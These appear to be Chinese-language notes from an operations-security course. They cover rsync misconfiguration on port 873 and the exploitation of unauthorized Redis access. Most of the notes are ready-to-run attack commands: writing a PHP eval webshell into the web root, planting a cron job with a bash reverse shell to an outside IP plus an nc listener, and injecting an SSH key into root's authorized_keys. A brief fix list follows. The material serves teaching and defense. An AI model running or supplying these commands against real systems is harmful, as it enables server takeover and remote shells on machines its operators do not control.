本文为苏尚武老师运维安全课程课程笔记
- Rsync
rsync -avzP -e ’ssh -p 22 /tmp/ test@ip:/web/‘通过ssh传输
rsync+crontab
rsync+sersync
默认端口873
配置低级错误:使用root,关闭只读,取消认证
通过扫描873端口,进行rsync上传导网站根目录 - python编写rsync扫描脚本
扫描开放873端口
获取rsync目录
密码尝试 - redis配置不当
redis未授权访问漏洞,造成linux挖矿 - 三种攻击手法
- webshell:
进入控制台
获取网站路径
config set dir /var/www/html
config set dbfilename shell.php
set x “<?php @eval($_POST[a]);?>”
save
然后可以通过php连接访问网站中的程序 - 写入crontab任务:
set x “\n* * * * * bash -i >& /dev/tcp/192.167.4.107/6666 0>&1\n”
config set dir /var/spool/cron/
config set dbfilename root
Save
Attack:nc -lvnp 6666 - 写入ssh公钥
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt
cat foo.txt |redis-cli -h 192.168.4.106 -x set crackit
连接上去redis-cli -h 192.168.4.106设置
config set dir /root/.ssh/
config set dbfilename “authorized_keys”
save
可以直接通过ssh -i id_rsa.pub root@192.168.4.106 - 修复redis
设置密码
不要把redis暴露公网
普通权限启动
降低普通用户.ssh权限